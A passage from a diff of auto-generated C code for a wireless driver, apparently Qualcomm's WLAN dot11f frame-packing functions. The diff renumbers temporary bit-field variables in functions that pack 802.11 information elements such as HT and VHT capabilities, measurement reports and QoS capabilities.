tmp120__ |= ( pSrc->IECount << 8 ); + frameshtons(pCtx, pBuf, tmp120__, 0); *pnConsumed += 2; pBuf += 2; nBuf -= 2 ; @@ -28422,7 +27928,7 @@ tANI_U32 dot11fPackIeHT2040BSSCoexistence(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U8 tmp127__; + tANI_U8 tmp121__; nNeeded += 1; while ( pSrc->present ) { @@ -28431,14 +27937,14 @@ tANI_U32 dot11fPackIeHT2040BSSCoexistence(tpAniSirGlobal pCtx, ++pBuf; ++(*pnConsumed); pIeLen = pBuf; ++pBuf; ++(*pnConsumed); - tmp127__ = 0U; - tmp127__ |= ( pSrc->infoRequest << 0 ); - tmp127__ |= ( pSrc->fortyMHzIntolerant << 1 ); - tmp127__ |= ( pSrc->twentyMHzBssWidthReq << 2 ); - tmp127__ |= ( pSrc->obssScanExemptionReq << 3 ); - tmp127__ |= ( pSrc->obssScanExemptionGrant << 4 ); - tmp127__ |= ( pSrc->unused << 5 ); - *pBuf = tmp127__; + tmp121__ = 0U; + tmp121__ |= ( pSrc->infoRequest << 0 ); + tmp121__ |= ( pSrc->fortyMHzIntolerant << 1 ); + tmp121__ |= ( pSrc->twentyMHzBssWidthReq << 2 ); + tmp121__ |= ( pSrc->obssScanExemptionReq << 3 ); + tmp121__ |= ( pSrc->obssScanExemptionGrant << 4 ); + tmp121__ |= ( pSrc->unused << 5 ); + *pBuf = tmp121__; *pnConsumed += 1; // fieldsEndFlag = 1 nBuf -= 1 ; @@ -28494,11 +28000,11 @@ tANI_U32 dot11fPackIeHTCaps(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U16 tmp128__; - tANI_U8 tmp129__; - tANI_U16 tmp130__; - tANI_U32 tmp131__; - tANI_U8 tmp132__; + tANI_U16 tmp122__; + tANI_U8 tmp123__; + tANI_U16 tmp124__; + tANI_U32 tmp125__; + tANI_U8 tmp126__; nNeeded += (pSrc->num_rsvd + 26); while ( pSrc->present ) { @@ -28507,77 +28013,77 @@ tANI_U32 dot11fPackIeHTCaps(tpAniSirGlobal pCtx, ++pBuf; ++(*pnConsumed); pIeLen = pBuf; ++pBuf; ++(*pnConsumed); - tmp128__ = 0U; - tmp128__ |= ( pSrc->advCodingCap << 0 ); - tmp128__ |= ( pSrc->supportedChannelWidthSet << 1 ); - tmp128__ |= ( pSrc->mimoPowerSave << 2 ); - tmp128__ |= ( pSrc->greenField << 4 ); - tmp128__ |= ( pSrc->shortGI20MHz << 5 ); - tmp128__ |= ( pSrc->shortGI40MHz << 6 ); - tmp128__ |= ( pSrc->txSTBC << 7 ); - tmp128__ |= ( pSrc->rxSTBC << 8 ); - tmp128__ |= ( pSrc->delayedBA << 10 ); - tmp128__ |= ( pSrc->maximalAMSDUsize << 11 ); - tmp128__ |= ( pSrc->dsssCckMode40MHz << 12 ); - tmp128__ |= ( pSrc->psmp << 13 ); - tmp128__ |= ( pSrc->stbcControlFrame << 14 ); - tmp128__ |= ( pSrc->lsigTXOPProtection << 15 ); - frameshtons(pCtx, pBuf, tmp128__, 0); + tmp122__ = 0U; + tmp122__ |= ( pSrc->advCodingCap << 0 ); + tmp122__ |= ( pSrc->supportedChannelWidthSet << 1 ); + tmp122__ |= ( pSrc->mimoPowerSave << 2 ); + tmp122__ |= ( pSrc->greenField << 4 ); + tmp122__ |= ( pSrc->shortGI20MHz << 5 ); + tmp122__ |= ( pSrc->shortGI40MHz << 6 ); + tmp122__ |= ( pSrc->txSTBC << 7 ); + tmp122__ |= ( pSrc->rxSTBC << 8 ); + tmp122__ |= ( pSrc->delayedBA << 10 ); + tmp122__ |= ( pSrc->maximalAMSDUsize << 11 ); + tmp122__ |= ( pSrc->dsssCckMode40MHz << 12 ); + tmp122__ |= ( pSrc->psmp << 13 ); + tmp122__ |= ( pSrc->stbcControlFrame << 14 ); + tmp122__ |= ( pSrc->lsigTXOPProtection << 15 ); + frameshtons(pCtx, pBuf, tmp122__, 0); *pnConsumed += 2; pBuf += 2; nBuf -= 2 ; - tmp129__ = 0U; - tmp129__ |= ( pSrc->maxRxAMPDUFactor << 0 ); - tmp129__ |= ( pSrc->mpduDensity << 2 ); - tmp129__ |= ( pSrc->reserved1 << 5 ); - *pBuf = tmp129__; + tmp123__ = 0U; + tmp123__ |= ( pSrc->maxRxAMPDUFactor << 0 ); + tmp123__ |= ( pSrc->mpduDensity << 2 ); + tmp123__ |= ( pSrc->reserved1 << 5 ); + *pBuf = tmp123__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; DOT11F_MEMCPY(pCtx, pBuf, pSrc->supportedMCSSet, 16); *pnConsumed += 16; pBuf += 16; - tmp130__ = 0U; - tmp130__ |= ( pSrc->pco << 0 ); - tmp130__ |= ( pSrc->transitionTime << 1 ); - tmp130__ |= ( pSrc->reserved2 << 3 ); - tmp130__ |= ( pSrc->mcsFeedback << 8 ); - tmp130__ |= ( pSrc->reserved3 << 10 ); - frameshtons(pCtx, pBuf, tmp130__, 0); + tmp124__ = 0U; + tmp124__ |= ( pSrc->pco << 0 ); + tmp124__ |= ( pSrc->transitionTime << 1 ); + tmp124__ |= ( pSrc->reserved2 << 3 ); + tmp124__ |= ( pSrc->mcsFeedback << 8 ); + tmp124__ |= ( pSrc->reserved3 << 10 ); + frameshtons(pCtx, pBuf, tmp124__, 0); *pnConsumed += 2; pBuf += 2; nBuf -= 2 ; - tmp131__ = 0U; - tmp131__ |= ( pSrc->txBF << 0 ); - tmp131__ |= ( pSrc->rxStaggeredSounding << 1 ); - tmp131__ |= ( pSrc->txStaggeredSounding << 2 ); - tmp131__ |= ( pSrc->rxZLF << 3 ); - tmp131__ |= ( pSrc->txZLF << 4 ); - tmp131__ |= ( pSrc->implicitTxBF << 5 ); - tmp131__ |= ( pSrc->calibration << 6 ); - tmp131__ |= ( pSrc->explicitCSITxBF << 8 ); - tmp131__ |= ( pSrc->explicitUncompressedSteeringMatrix << 9 ); - tmp131__ |= ( pSrc->explicitBFCSIFeedback << 10 ); - tmp131__ |= ( pSrc->explicitUncompressedSteeringMatrixFeedback << 13 ); - tmp131__ |= ( pSrc->explicitCompressedSteeringMatrixFeedback << 16 ); - tmp131__ |= ( pSrc->csiNumBFAntennae << 19 ); - tmp131__ |= ( pSrc->uncompressedSteeringMatrixBFAntennae << 21 ); - tmp131__ |= ( pSrc->compressedSteeringMatrixBFAntennae << 23 ); - tmp131__ |= ( pSrc->reserved4 << 25 ); - frameshtonl(pCtx, pBuf, tmp131__, 0); + tmp125__ = 0U; + tmp125__ |= ( pSrc->txBF << 0 ); + tmp125__ |= ( pSrc->rxStaggeredSounding << 1 ); + tmp125__ |= ( pSrc->txStaggeredSounding << 2 ); + tmp125__ |= ( pSrc->rxZLF << 3 ); + tmp125__ |= ( pSrc->txZLF << 4 ); + tmp125__ |= ( pSrc->implicitTxBF << 5 ); + tmp125__ |= ( pSrc->calibration << 6 ); + tmp125__ |= ( pSrc->explicitCSITxBF << 8 ); + tmp125__ |= ( pSrc->explicitUncompressedSteeringMatrix << 9 ); + tmp125__ |= ( pSrc->explicitBFCSIFeedback << 10 ); + tmp125__ |= ( pSrc->explicitUncompressedSteeringMatrixFeedback << 13 ); + tmp125__ |= ( pSrc->explicitCompressedSteeringMatrixFeedback << 16 ); + tmp125__ |= ( pSrc->csiNumBFAntennae << 19 ); + tmp125__ |= ( pSrc->uncompressedSteeringMatrixBFAntennae << 21 ); + tmp125__ |= ( pSrc->compressedSteeringMatrixBFAntennae << 23 ); + tmp125__ |= ( pSrc->reserved4 << 25 ); + frameshtonl(pCtx, pBuf, tmp125__, 0); *pnConsumed += 4; pBuf += 4; nBuf -= 4 ; - tmp132__ = 0U; - tmp132__ |= ( pSrc->antennaSelection << 0 ); - tmp132__ |= ( pSrc->explicitCSIFeedbackTx << 1 ); - tmp132__ |= ( pSrc->antennaIndicesFeedbackTx << 2 ); - tmp132__ |= ( pSrc->explicitCSIFeedback << 3 ); - tmp132__ |= ( pSrc->antennaIndicesFeedback << 4 ); - tmp132__ |= ( pSrc->rxAS << 5 ); - tmp132__ |= ( pSrc->txSoundingPPDUs << 6 ); - tmp132__ |= ( pSrc->reserved5 << 7 ); - *pBuf = tmp132__; + tmp126__ = 0U; + tmp126__ |= ( pSrc->antennaSelection << 0 ); + tmp126__ |= ( pSrc->explicitCSIFeedbackTx << 1 ); + tmp126__ |= ( pSrc->antennaIndicesFeedbackTx << 2 ); + tmp126__ |= ( pSrc->explicitCSIFeedback << 3 ); + tmp126__ |= ( pSrc->antennaIndicesFeedback << 4 ); + tmp126__ |= ( pSrc->rxAS << 5 ); + tmp126__ |= ( pSrc->txSoundingPPDUs << 6 ); + tmp126__ |= ( pSrc->reserved5 << 7 ); + *pBuf = tmp126__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; @@ -28603,9 +28109,9 @@ tANI_U32 dot11fPackIeHTInfo(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U8 tmp133__; - tANI_U16 tmp134__; - tANI_U16 tmp135__; + tANI_U8 tmp127__; + tANI_U16 tmp128__; + tANI_U16 tmp129__; nNeeded += (pSrc->num_rsvd + 22); while ( pSrc->present ) { @@ -28617,35 +28123,35 @@ tANI_U32 dot11fPackIeHTInfo(tpAniSirGlobal pCtx, *pBuf = pSrc->primaryChannel; *pnConsumed += 1; pBuf += 1; - tmp133__ = 0U; - tmp133__ |= ( pSrc->secondaryChannelOffset << 0 ); - tmp133__ |= ( pSrc->recommendedTxWidthSet << 2 ); - tmp133__ |= ( pSrc->rifsMode << 3 ); - tmp133__ |= ( pSrc->controlledAccessOnly << 4 ); - tmp133__ |= ( pSrc->serviceIntervalGranularity << 5 ); - *pBuf = tmp133__; + tmp127__ = 0U; + tmp127__ |= ( pSrc->secondaryChannelOffset << 0 ); + tmp127__ |= ( pSrc->recommendedTxWidthSet << 2 ); + tmp127__ |= ( pSrc->rifsMode << 3 ); + tmp127__ |= ( pSrc->controlledAccessOnly << 4 ); + tmp127__ |= ( pSrc->serviceIntervalGranularity << 5 ); + *pBuf = tmp127__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; - tmp134__ = 0U; - tmp134__ |= ( pSrc->opMode << 0 ); - tmp134__ |= ( pSrc->nonGFDevicesPresent << 2 ); - tmp134__ |= ( pSrc->transmitBurstLimit << 3 ); - tmp134__ |= ( pSrc->obssNonHTStaPresent << 4 ); - tmp134__ |= ( pSrc->reserved << 5 ); - frameshtons(pCtx, pBuf, tmp134__, 0); + tmp128__ = 0U; + tmp128__ |= ( pSrc->opMode << 0 ); + tmp128__ |= ( pSrc->nonGFDevicesPresent << 2 ); + tmp128__ |= ( pSrc->transmitBurstLimit << 3 ); + tmp128__ |= ( pSrc->obssNonHTStaPresent << 4 ); + tmp128__ |= ( pSrc->reserved << 5 ); + frameshtons(pCtx, pBuf, tmp128__, 0); *pnConsumed += 2; pBuf += 2; nBuf -= 2 ; - tmp135__ = 0U; - tmp135__ |= ( pSrc->basicSTBCMCS << 0 ); - tmp135__ |= ( pSrc->dualCTSProtection << 7 ); - tmp135__ |= ( pSrc->secondaryBeacon << 8 ); - tmp135__ |= ( pSrc->lsigTXOPProtectionFullSupport << 9 ); - tmp135__ |= ( pSrc->pcoActive << 10 ); - tmp135__ |= ( pSrc->pcoPhase << 11 ); - tmp135__ |= ( pSrc->reserved2 << 12 ); - frameshtons(pCtx, pBuf, tmp135__, 0); + tmp129__ = 0U; + tmp129__ |= ( pSrc->basicSTBCMCS << 0 ); + tmp129__ |= ( pSrc->dualCTSProtection << 7 ); + tmp129__ |= ( pSrc->secondaryBeacon << 8 ); + tmp129__ |= ( pSrc->lsigTXOPProtectionFullSupport << 9 ); + tmp129__ |= ( pSrc->pcoActive << 10 ); + tmp129__ |= ( pSrc->pcoPhase << 11 ); + tmp129__ |= ( pSrc->reserved2 << 12 ); + frameshtons(pCtx, pBuf, tmp129__, 0); *pnConsumed += 2; pBuf += 2; nBuf -= 2 ; @@ -28740,9 +28246,9 @@ tANI_U32 dot11fPackIeMeasurementReport(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U8 tmp136__; - tANI_U8 tmp137__; - tANI_U8 tmp138__; + tANI_U8 tmp130__; + tANI_U8 tmp131__; + tANI_U8 tmp132__; tANI_U32 status = DOT11F_PARSE_SUCCESS; status = dot11fGetPackedIEMeasurementReport(pCtx, pSrc, &nNeeded); if ( ! DOT11F_SUCCEEDED( status ) ) return status; @@ -28756,12 +28262,12 @@ tANI_U32 dot11fPackIeMeasurementReport(tpAniSirGlobal pCtx, *pBuf = pSrc->token; *pnConsumed += 1; pBuf += 1; - tmp136__ = 0U; - tmp136__ |= ( pSrc->late << 0 ); - tmp136__ |= ( pSrc->incapable << 1 ); - tmp136__ |= ( pSrc->refused << 2 ); - tmp136__ |= ( pSrc->unused << 3 ); - *pBuf = tmp136__; + tmp130__ = 0U; + tmp130__ |= ( pSrc->late << 0 ); + tmp130__ |= ( pSrc->incapable << 1 ); + tmp130__ |= ( pSrc->refused << 2 ); + tmp130__ |= ( pSrc->unused << 3 ); + *pBuf = tmp130__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; @@ -28781,14 +28287,14 @@ tANI_U32 dot11fPackIeMeasurementReport(tpAniSirGlobal pCtx, frameshtons(pCtx, pBuf, pSrc->report.Basic.meas_duration, 0); *pnConsumed += 2; pBuf += 2; - tmp137__ = 0U; - tmp137__ |= ( pSrc->report.Basic.bss << 0 ); - tmp137__ |= ( pSrc->report.Basic.ofdm_preamble << 1 ); - tmp137__ |= ( pSrc->report.Basic.unid_signal << 2 ); - tmp137__ |= ( pSrc->report.Basic.rader << 3 ); - tmp137__ |= ( pSrc->report.Basic.unmeasured << 4 ); - tmp137__ |= ( pSrc->report.Basic.unused << 5 ); - *pBuf = tmp137__; + tmp131__ = 0U; + tmp131__ |= ( pSrc->report.Basic.bss << 0 ); + tmp131__ |= ( pSrc->report.Basic.ofdm_preamble << 1 ); + tmp131__ |= ( pSrc->report.Basic.unid_signal << 2 ); + tmp131__ |= ( pSrc->report.Basic.rader << 3 ); + tmp131__ |= ( pSrc->report.Basic.unmeasured << 4 ); + tmp131__ |= ( pSrc->report.Basic.unused << 5 ); + *pBuf = tmp131__; *pnConsumed += 1; // fieldsEndFlag = 1 nBuf -= 1 ; @@ -28855,10 +28361,10 @@ tANI_U32 dot11fPackIeMeasurementReport(tpAniSirGlobal pCtx, frameshtons(pCtx, pBuf, pSrc->report.Beacon.meas_duration, 0); *pnConsumed += 2; pBuf += 2; - tmp138__ = 0U; - tmp138__ |= ( pSrc->report.Beacon.condensed_PHY << 0 ); - tmp138__ |= ( pSrc->report.Beacon.reported_frame_type << 7 ); - *pBuf = tmp138__; + tmp132__ = 0U; + tmp132__ |= ( pSrc->report.Beacon.condensed_PHY << 0 ); + tmp132__ |= ( pSrc->report.Beacon.reported_frame_type << 7 ); + *pBuf = tmp132__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; @@ -28907,7 +28413,7 @@ tANI_U32 dot11fPackIeMeasurementRequest(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U8 tmp139__; + tANI_U8 tmp133__; tANI_U32 status = DOT11F_PARSE_SUCCESS; status = dot11fGetPackedIEMeasurementRequest(pCtx, pSrc, &nNeeded); if ( ! DOT11F_SUCCEEDED( status ) ) return status; @@ -28921,14 +28427,14 @@ tANI_U32 dot11fPackIeMeasurementRequest(tpAniSirGlobal pCtx, *pBuf = pSrc->measurement_token; *pnConsumed += 1; pBuf += 1; - tmp139__ = 0U; - tmp139__ |= ( pSrc->parallel << 0 ); - tmp139__ |= ( pSrc->enable << 1 ); - tmp139__ |= ( pSrc->request << 2 ); - tmp139__ |= ( pSrc->report << 3 ); - tmp139__ |= ( pSrc->durationMandatory << 4 ); - tmp139__ |= ( pSrc->unused << 5 ); - *pBuf = tmp139__; + tmp133__ = 0U; + tmp133__ |= ( pSrc->parallel << 0 ); + tmp133__ |= ( pSrc->enable << 1 ); + tmp133__ |= ( pSrc->request << 2 ); + tmp133__ |= ( pSrc->report << 3 ); + tmp133__ |= ( pSrc->durationMandatory << 4 ); + tmp133__ |= ( pSrc->unused << 5 ); + *pBuf = tmp133__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; @@ -29017,7 +28523,7 @@ tANI_U32 dot11fPackIeMobilityDomain(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U8 tmp140__; + tANI_U8 tmp134__; nNeeded += 3; while ( pSrc->present ) { @@ -29029,11 +28535,11 @@ tANI_U32 dot11fPackIeMobilityDomain(tpAniSirGlobal pCtx, frameshtons(pCtx, pBuf, pSrc->MDID, 0); *pnConsumed += 2; pBuf += 2; - tmp140__ = 0U; - tmp140__ |= ( pSrc->overDSCap << 0 ); - tmp140__ |= ( pSrc->resourceReqCap << 1 ); - tmp140__ |= ( pSrc->reserved << 2 ); - *pBuf = tmp140__; + tmp134__ = 0U; + tmp134__ |= ( pSrc->overDSCap << 0 ); + tmp134__ |= ( pSrc->resourceReqCap << 1 ); + tmp134__ |= ( pSrc->reserved << 2 ); + *pBuf = tmp134__; *pnConsumed += 1; // fieldsEndFlag = 1 nBuf -= 1 ; @@ -29056,8 +28562,8 @@ tANI_U32 dot11fPackIeNeighborReport(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U8 tmp141__; - tANI_U8 tmp142__; + tANI_U8 tmp135__; + tANI_U8 tmp136__; tANI_U32 status = DOT11F_PARSE_SUCCESS; status = dot11fGetPackedIENeighborReport(pCtx, pSrc, &nNeeded); if ( ! DOT11F_SUCCEEDED( status ) ) return status; @@ -29071,24 +28577,24 @@ tANI_U32 dot11fPackIeNeighborReport(tpAniSirGlobal pCtx, DOT11F_MEMCPY(pCtx, pBuf, pSrc->bssid, 6); *pnConsumed += 6; pBuf += 6; - tmp141__ = 0U; - tmp141__ |= ( pSrc->APReachability << 0 ); - tmp141__ |= ( pSrc->Security << 2 ); - tmp141__ |= ( pSrc->KeyScope << 3 ); - tmp141__ |= ( pSrc->SpecMgmtCap << 4 ); - tmp141__ |= ( pSrc->QosCap << 5 ); - tmp141__ |= ( pSrc->apsd << 6 ); - tmp141__ |= ( pSrc->rrm << 7 ); - *pBuf = tmp141__; + tmp135__ = 0U; + tmp135__ |= ( pSrc->APReachability << 0 ); + tmp135__ |= ( pSrc->Security << 2 ); + tmp135__ |= ( pSrc->KeyScope << 3 ); + tmp135__ |= ( pSrc->SpecMgmtCap << 4 ); + tmp135__ |= ( pSrc->QosCap << 5 ); + tmp135__ |= ( pSrc->apsd << 6 ); + tmp135__ |= ( pSrc->rrm << 7 ); + *pBuf = tmp135__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; - tmp142__ = 0U; - tmp142__ |= ( pSrc->DelayedBA << 0 ); - tmp142__ |= ( pSrc->ImmBA << 1 ); - tmp142__ |= ( pSrc->MobilityDomain << 2 ); - tmp142__ |= ( pSrc->reserved << 3 ); - *pBuf = tmp142__; + tmp136__ = 0U; + tmp136__ |= ( pSrc->DelayedBA << 0 ); + tmp136__ |= ( pSrc->ImmBA << 1 ); + tmp136__ |= ( pSrc->MobilityDomain << 2 ); + tmp136__ |= ( pSrc->reserved << 3 ); + *pBuf = tmp136__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; @@ -29178,7 +28684,7 @@ tANI_U32 dot11fPackIeOperatingMode(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U8 tmp143__; + tANI_U8 tmp137__; nNeeded += 1; while ( pSrc->present ) { @@ -29187,12 +28693,12 @@ tANI_U32 dot11fPackIeOperatingMode(tpAniSirGlobal pCtx, ++pBuf; ++(*pnConsumed); pIeLen = pBuf; ++pBuf; ++(*pnConsumed); - tmp143__ = 0U; - tmp143__ |= ( pSrc->chanWidth << 0 ); - tmp143__ |= ( pSrc->reserved << 2 ); - tmp143__ |= ( pSrc->rxNSS << 4 ); - tmp143__ |= ( pSrc->rxNSSType << 7 ); - *pBuf = tmp143__; + tmp137__ = 0U; + tmp137__ |= ( pSrc->chanWidth << 0 ); + tmp137__ |= ( pSrc->reserved << 2 ); + tmp137__ |= ( pSrc->rxNSS << 4 ); + tmp137__ |= ( pSrc->rxNSSType << 7 ); + *pBuf = tmp137__; *pnConsumed += 1; // fieldsEndFlag = 1 nBuf -= 1 ; @@ -30146,7 +29652,7 @@ tANI_U32 dot11fPackIePUBufferStatus(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U8 tmp144__; + tANI_U8 tmp138__; nNeeded += 1; while ( pSrc->present ) { @@ -30155,13 +29661,13 @@ tANI_U32 dot11fPackIePUBufferStatus(tpAniSirGlobal pCtx, ++pBuf; ++(*pnConsumed); pIeLen = pBuf; ++pBuf; ++(*pnConsumed); - tmp144__ = 0U; - tmp144__ |= ( pSrc->ac_bk_traffic_aval << 0 ); - tmp144__ |= ( pSrc->ac_be_traffic_aval << 1 ); - tmp144__ |= ( pSrc->ac_vi_traffic_aval << 2 ); - tmp144__ |= ( pSrc->ac_vo_traffic_aval << 3 ); - tmp144__ |= ( pSrc->reserved << 4 ); - *pBuf = tmp144__; + tmp138__ = 0U; + tmp138__ |= ( pSrc->ac_bk_traffic_aval << 0 ); + tmp138__ |= ( pSrc->ac_be_traffic_aval << 1 ); + tmp138__ |= ( pSrc->ac_vi_traffic_aval << 2 ); + tmp138__ |= ( pSrc->ac_vo_traffic_aval << 3 ); + tmp138__ |= ( pSrc->reserved << 4 ); + *pBuf = tmp138__; *pnConsumed += 1; // fieldsEndFlag = 1 nBuf -= 1 ; @@ -30283,7 +29789,7 @@ tANI_U32 dot11fPackIeQOSCapsAp(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U8 tmp145__; + tANI_U8 tmp139__; nNeeded += 1; while ( pSrc->present ) { @@ -30292,13 +29798,13 @@ tANI_U32 dot11fPackIeQOSCapsAp(tpAniSirGlobal pCtx, ++pBuf; ++(*pnConsumed); pIeLen = pBuf; ++pBuf; ++(*pnConsumed); - tmp145__ = 0U; - tmp145__ |= ( pSrc->count << 0 ); - tmp145__ |= ( pSrc->qack << 4 ); - tmp145__ |= ( pSrc->qreq << 5 ); - tmp145__ |= ( pSrc->txopreq << 6 ); - tmp145__ |= ( pSrc->reserved << 7 ); - *pBuf = tmp145__; + tmp139__ = 0U; + tmp139__ |= ( pSrc->count << 0 ); + tmp139__ |= ( pSrc->qack << 4 ); + tmp139__ |= ( pSrc->qreq << 5 ); + tmp139__ |= ( pSrc->txopreq << 6 ); + tmp139__ |= ( pSrc->reserved << 7 ); + *pBuf = tmp139__; *pnConsumed += 1; // fieldsEndFlag = 1 nBuf -= 1 ; @@ -30321,7 +29827,7 @@ tANI_U32 dot11fPackIeQOSCapsStation(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U8 tmp146__; + tANI_U8 tmp140__; nNeeded += 1; while ( pSrc->present ) { @@ -30330,15 +29836,15 @@ tANI_U32 dot11fPackIeQOSCapsStation(tpAniSirGlobal pCtx, ++pBuf; ++(*pnConsumed); pIeLen = pBuf; ++pBuf; ++(*pnConsumed); - tmp146__ = 0U; - tmp146__ |= ( pSrc->acvo_uapsd << 0 ); - tmp146__ |= ( pSrc->acvi_uapsd << 1 ); - tmp146__ |= ( pSrc->acbk_uapsd << 2 ); - tmp146__ |= ( pSrc->acbe_uapsd << 3 ); - tmp146__ |= ( pSrc->qack << 4 ); - tmp146__ |= ( pSrc->max_sp_length << 5 ); - tmp146__ |= ( pSrc->more_data_ack << 7 ); - *pBuf = tmp146__; + tmp140__ = 0U; + tmp140__ |= ( pSrc->acvo_uapsd << 0 ); + tmp140__ |= ( pSrc->acvi_uapsd << 1 ); + tmp140__ |= ( pSrc->acbk_uapsd << 2 ); + tmp140__ |= ( pSrc->acbe_uapsd << 3 ); + tmp140__ |= ( pSrc->qack << 4 ); + tmp140__ |= ( pSrc->max_sp_length << 5 ); + tmp140__ |= ( pSrc->more_data_ack << 7 ); + *pBuf = tmp140__; *pnConsumed += 1; // fieldsEndFlag = 1 nBuf -= 1 ; @@ -30842,9 +30348,9 @@ tANI_U32 dot11fPackIeVHTCaps(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U32 tmp147__; - tANI_U16 tmp148__; - tANI_U16 tmp149__; + tANI_U32 tmp141__; + tANI_U16 tmp142__; + tANI_U16 tmp143__; nNeeded += 12; while ( pSrc->present ) { @@ -30853,48 +30359,48 @@ tANI_U32 dot11fPackIeVHTCaps(tpAniSirGlobal pCtx, ++pBuf; ++(*pnConsumed); pIeLen = pBuf; ++pBuf; ++(*pnConsumed); - tmp147__ = 0U; - tmp147__ |= ( pSrc->maxMPDULen << 0 ); - tmp147__ |= ( pSrc->supportedChannelWidthSet << 2 ); - tmp147__ |= ( pSrc->ldpcCodingCap << 4 ); - tmp147__ |= ( pSrc->shortGI80MHz << 5 ); - tmp147__ |= ( pSrc->shortGI160and80plus80MHz << 6 ); - tmp147__ |= ( pSrc->txSTBC << 7 ); - tmp147__ |= ( pSrc->rxSTBC << 8 ); - tmp147__ |= ( pSrc->suBeamFormerCap << 11 ); - tmp147__ |= ( pSrc->suBeamformeeCap << 12 ); - tmp147__ |= ( pSrc->csnofBeamformerAntSup << 13 ); - tmp147__ |= ( pSrc->numSoundingDim << 16 ); - tmp147__ |= ( pSrc->muBeamformerCap << 19 ); - tmp147__ |= ( pSrc->muBeamformeeCap << 20 ); - tmp147__ |= ( pSrc->vhtTXOPPS << 21 ); - tmp147__ |= ( pSrc->htcVHTCap << 22 ); - tmp147__ |= ( pSrc->maxAMPDULenExp << 23 ); - tmp147__ |= ( pSrc->vhtLinkAdaptCap << 26 ); - tmp147__ |= ( pSrc->rxAntPattern << 28 ); - tmp147__ |= ( pSrc->txAntPattern << 29 ); - tmp147__ |= ( pSrc->reserved1 << 30 ); - frameshtonl(pCtx, pBuf, tmp147__, 0); + tmp141__ = 0U; + tmp141__ |= ( pSrc->maxMPDULen << 0 ); + tmp141__ |= ( pSrc->supportedChannelWidthSet << 2 ); + tmp141__ |= ( pSrc->ldpcCodingCap << 4 ); + tmp141__ |= ( pSrc->shortGI80MHz << 5 ); + tmp141__ |= ( pSrc->shortGI160and80plus80MHz << 6 ); + tmp141__ |= ( pSrc->txSTBC << 7 ); + tmp141__ |= ( pSrc->rxSTBC << 8 ); + tmp141__ |= ( pSrc->suBeamFormerCap << 11 ); + tmp141__ |= ( pSrc->suBeamformeeCap << 12 ); + tmp141__ |= ( pSrc->csnofBeamformerAntSup << 13 ); + tmp141__ |= ( pSrc->numSoundingDim << 16 ); + tmp141__ |= ( pSrc->muBeamformerCap << 19 ); + tmp141__ |= ( pSrc->muBeamformeeCap << 20 ); + tmp141__ |= ( pSrc->vhtTXOPPS << 21 ); + tmp141__ |= ( pSrc->htcVHTCap << 22 ); + tmp141__ |= ( pSrc->maxAMPDULenExp << 23 ); + tmp141__ |= ( pSrc->vhtLinkAdaptCap << 26 ); + tmp141__ |= ( pSrc->rxAntPattern << 28 ); + tmp141__ |= ( pSrc->txAntPattern << 29 ); + tmp141__ |= ( pSrc->reserved1 << 30 ); + frameshtonl(pCtx, pBuf, tmp141__, 0); *pnConsumed += 4; pBuf += 4; nBuf -= 4 ; frameshtons(pCtx, pBuf, pSrc->rxMCSMap, 0); *pnConsumed += 2; pBuf += 2; - tmp148__ = 0U; - tmp148__ |= ( pSrc->rxHighSupDataRate << 0 ); - tmp148__ |= ( pSrc->reserved2 << 13 ); - frameshtons(pCtx, pBuf, tmp148__, 0); + tmp142__ = 0U; + tmp142__ |= ( pSrc->rxHighSupDataRate << 0 ); + tmp142__ |= ( pSrc->reserved2 << 13 ); + frameshtons(pCtx, pBuf, tmp142__, 0); *pnConsumed += 2; pBuf += 2; nBuf -= 2 ; frameshtons(pCtx, pBuf, pSrc->txMCSMap, 0); *pnConsumed += 2; pBuf += 2; - tmp149__ = 0U; - tmp149__ |= ( pSrc->txSupDataRate << 0 ); - tmp149__ |= ( pSrc->reserved3 << 13 ); - frameshtons(pCtx, pBuf, tmp149__, 0); + tmp143__ = 0U; + tmp143__ |= ( pSrc->txSupDataRate << 0 ); + tmp143__ |= ( pSrc->reserved3 << 13 ); + frameshtons(pCtx, pBuf, tmp143__, 0); *pnConsumed += 2; // fieldsEndFlag = 1 nBuf -= 2 ; @@ -30998,7 +30504,7 @@ tANI_U32 dot11fPackIeWAPI(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U16 